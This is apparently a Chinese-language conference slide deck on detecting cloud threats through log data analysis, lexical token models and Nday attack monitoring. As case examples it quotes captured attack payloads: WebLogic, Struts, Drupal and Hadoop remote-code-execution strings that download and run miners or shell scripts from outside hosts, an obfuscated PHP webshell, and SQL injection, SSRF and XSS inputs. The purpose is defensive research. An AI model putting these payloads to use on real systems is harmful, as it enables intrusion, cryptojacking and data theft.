

从数据视角探索安全威胁

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cdxy
数据分析 / 威胁感知

0

whoami

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异常数据清洗

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Nday感知

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落地思考


Chapter 1

1

异常数据清洗

异常数据清洗的价值

云环境威胁感知现状	挑战	异常数据清洗价值
百万主机 PB级数据	有限的存储、计算资源	以不损失告警为前提 压缩数据量
业务场景复杂 运营资源有限	通用性、准确率要求高	理解业务特征 提升告警置信度



威胁感知模型基础

代码类日志清洗——词法分析

```

SELECT * FROM forum WHERE fid = 63 ORDER BY displayorder DESC LIMIT 3
|      |      |      |      |      |      |      |      |      |      |
DML Wildcard Keyword Identifier Keyword Comparison Keyword Keyword Identifier Order Keyword Integer
    
```

```

SELECT * FROM forum WHERE fid = 55 OR SLEEP(5) -- dZkr ORDER BY displayorder DESC LIMIT 3
|      |      |      |      |      |      |      |      |
DML Wildcard Keyword Identifier Keyword Comparison Keyword Function Single
    
```

	wget	http://185.62.190.191/r	-0	/tmp/r	;	sh	/tmp/r	precision	recall
Token 1	command	word	word	word	operator	command	word	0.042	0.904
Token 2	command	word	option	op-data	operator	command	word	0.029	0.963
Token 3	wget	word	option	op-data	operator	sh	word	0.011	0.991
Token 4	wget	uri	option	path	operator	sh	path	0.008	0.997

参数类日志清洗——字符序列

```

/index.php?name=cdxy           ───────────> AAAA
/index.php?name=ring04h        ───────────> AAAADDA
/index.php?name=<script>alert(1)</script> ───────────> CAAAAACAAAAACDCCCAAAAAAC

```

```

[START] https://www.cdxyme
[302] https://www.cdxyme/feed
[200] https://www.cdxyme/?p=788
[200] https://www.cdxyme/category/Data%20Analysis
[200] https://www.cdxyme/page/1
[!][200] https://www.cdxyme/page/1.bak~
[!][200] https://www.cdxyme/page/1.swp
[!][200] https://www.cdxyme/page/1_save
[!][200] https://www.cdxyme/../../../../etc/passwd

```

p=786
 p=786<script>alert(1)</script>
 p=786' or '1'='1
 p=786
 {{426*1752}}=786
 Cookie: UID=70f868e092f90218cafa12038d9a5f72
 Cookie: UID=1|curl http://x.x/shell.txt > cc.php

Site: URI Path异常



URI Path: Key异常



Key: Value异常

Chapter 2


2

信息穿透模型


威胁检测产品能力对比

检测类产品待解问题	信息穿透模型
高误报	准确率99%
依赖规则，安全能力依赖长期规则运营	无规则模型，低运营成本
对无危害的PoC探针行为检测能力弱	探针行为预警
对未知漏洞检测能力弱	自动覆盖Nday
仅做入侵发现	发现+回溯

信息穿透模型



案例：RCE - DRUPAL



案例：RCE - WEBLOGIC

POST Data

```
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>C:\windows\system32\cmd.exe</string></void>
<void index="1"><string>/c</string></void>
<void index="2"><string>powershell.exe -WindowStyle Hidden $P =
nEW-oBJECT SYSTEM.nET.wEBcLIENT;$P.DownloadFile('http://
132.148.150.15:8080/miner.exe', 'C:\ProgramData\miner.exe');START C:
\ProgramData\miner.exe</string></void>
</array>
<void method="start"/></void>
</java></work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>
```

案例：RCE - STRUTS OGNL

Request-Content-Type

```
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil
@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))).
(#cmd='cmd /c netsh firewall set opmode mode=disable').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains
('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
```

案例：RCE - WEB SHELL执行命令

	<pre>/wp-content/themes/sketch/404.php a=Php&c=&p1=system("cat /etc/passwd");</pre>
URI & POST	<pre>/eng/query-terminal.jsp?cmd=mkdir+-p+%2Froot%2F.ssh%2F+%26%26+touch+ %2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+ %2Froot%2F.ssh%2Fauthorized_keys</pre>
Encoded Payload	<pre>/upload/template/default/forum/123.php?eanver=cmd &cmd=d2hvYW1p</pre>
Process Log	<pre>主机用户 www 父进程 php-fpm: pool www 命令 sh -c whoami</pre>

案例：脚本文件上传

Request Data



File Content & Path

```
-----WebKitFormBoundaryrUzmdXS72dR6ZxEi  
Content-Disposition: form-data; name="dir"
```

```
E:/www/css/
```

```
-----WebKitFormBoundaryrUzmdXS72dR6ZxEi  
Content-Disposition: form-data; name="upfile"; filename="amazeui.php"  
Content-Type: application/octet-stream
```

```
<?php /* encoded by http://phpc.sinaapp.com */  
error_reporting(E_ALL^E_NOTICE);
```

```
...
```

案例: SQL OUTFILE

```
/phpmyadmin/import.php
```

Request Data



File Content & Path

```
sql_query=select+"<?php\  
$func='c'. 'r'. 'e'. 'a'. 't'. 'e'. '_' . 'f'. 'u'. 'n'. 'c'. 't'. 'i'. 'o'. 'n';\  
$test=\$func('\  
$x', 'e'. 'v'. 'a'. 'l'. '(b'. 'a'. 's'. 'e'. '6'. '4'. '_' . 'd'. 'e'. 'c'. 'o'. 'd'. 'e  
(\$x));');\  
$test('QHN1c3Npb25fc3Rhcnc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzd  
HIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZ  
UNvZGUnXT10cm1tKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU90Wyd0aGVDb  
2RlJ10pKXtAZXZhbChiYXN1NjRfZGVjb2RlKCRfU0VTU0lPTlsndGh1Q29kZSddKSsk7fQ==  

```


案例：SQL注入

Request Data



SQL Log

```
/index.php?action=listletter
```

```
date=2018-06-05&letter=%25%27%20AND%206405%20IN%20%28%20%28CHAR%28113%29
+CHAR%28118%29+CHAR%28112%29+CHAR%28113%29+CHAR%28113%29+
%28%20%28CASE%20WHEN%20%286405%3D6405%29%20THEN%20CHAR%2849%29%20ELSE%20
CHAR%2848%29%20END%29%29+CHAR%28113%29+CHAR%28113%29+CHAR%28106%29+CHAR%
2898%29+CHAR%28113%29%29%29%20AND%20%27%25%27%3D%27&perPage=16&status=-1
&Submit=%E6%8F%90%E4%BA%A4
```

```
select id,type,letter,url from sl_types where letter='%' AND 6405 IN
( (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(113)+CHAR(113)+( (CASE WHEN
(6405=6405) THEN CHAR(49) ELSE CHAR(48) END))
+CHAR(113)+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(113))) AND '%'=' ' order by
sort asc limit 0,9
```

案例：SSRF


Request Data
↕
Intranet Session
Intranet Flow
DNS

```
/spaces/viewdefaultdecorator.action?  
decoratorName=ftp://10.0.0.1
```

```
/uddiexplorer/SearchPublicRegistries.jsp?  
rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSea  
rchfor=&selfor=Business+location&btnSubmit=Search&ope  
rator=http://10.0.42.2:7001
```

IP连接数	72
内网目标暴露	2

案例：REDIS未授权访问漏洞利用



模型效果

100+

已知漏洞

RCE / SSRF / SQLI
文件操作 / 信息泄露 / webshell

40000+

攻击向量

监控Nday及Exploit变化
为情报、宏观态势、黑客社区发现提供数据支撑

99%

准确率


从Nday攻击到告警的全自动化
为Hunting提供准确完整的payload

Chapter 3

3

Nday感知

Nday感知



案例：Drupal / Hadoop RCE 云上大规模利用

The image displays two screenshots of a chat interface, likely from a security monitoring tool, showing logs for [0day监控] (0day monitoring). The interface includes a user profile for '凉凉' (Liangliang) and a '机器人' (Robot) label.

Left Screenshot (Attack on 2018-04-13):

- Header: [0day监控]
- Separator: -----
- Attack Time: 攻击时间:2018-04-13 20:29:27
- Attacker: 攻击者:80.209.253.51
- Log Content: A large block of redacted text, followed by a line containing `"uri": "/use` and `element_parents=account/mail/%23value&ajax_form=1&wrappe`.
- Log Content: A large block of redacted text, followed by a long URL: `"form_id=user_register_form&mail%5B%23type%5D=markup&mail%5B%23markup%5D=taskkill+-9+dx%3B+cd+%2Ftmp%3B+curl+-s+http%3A%2F%2F80.209.253.51%2Fdx+%3E+%2Ftmp%2Fdx%3B+wget+http%3A%2F%2F80.209.253.51%2Fdx+-O+%2Ftmp%2Fdx%3B+chmod+%2Bx+%2Ftmp%2Fdx%3B+%2Ftmp%2Fdx+-u+42J2MwguWYXVEiMthxGCzU1PvE9NaxYNqKGCnYq6NH6RjWckg2UhbvTYRwwRaHkYQcgjncg6TnAF6RbMWxLr9veP53jc4MG+-p+x+-o+monerohash.com%3A80&q=38ce0a187d45b5583eb527c477ab2eb7&mail%5B%23post_render%5D%5B%5D=system&drupal_ajax=1"}`

Right Screenshot (Attack on 2018-05-01):

- Header: [0day监控]
- Separator: -----
- Attack Time: 攻击时间:2018-05-01 21:43:09
- Attacker: 攻击者:91.215.169.120
- Log Content: A large block of redacted text, followed by `"/ws/v1/cluster/apps",` and another large block of redacted text.
- Log Content: `"{"am-container-spec\":`
- Log Content: `{"queue\":"1\","commands\":{"command\":"curl 193.22.96.25/z_2.sh | sh\"}},\"application-`
- Log Content: A large block of redacted text.

Chapter 4

4

落地思考

数据科学落地安全产品

场景

时效性要求

准确性要求

运营资源

数据

目标数据量

采集 / 存储 / 计算成本

标注方法

样本质量

模型

探索-假设-验证-优化

算法接入与调优

运营

可复现-可解释

迭代方案

风险控制

反馈机制

Q&A

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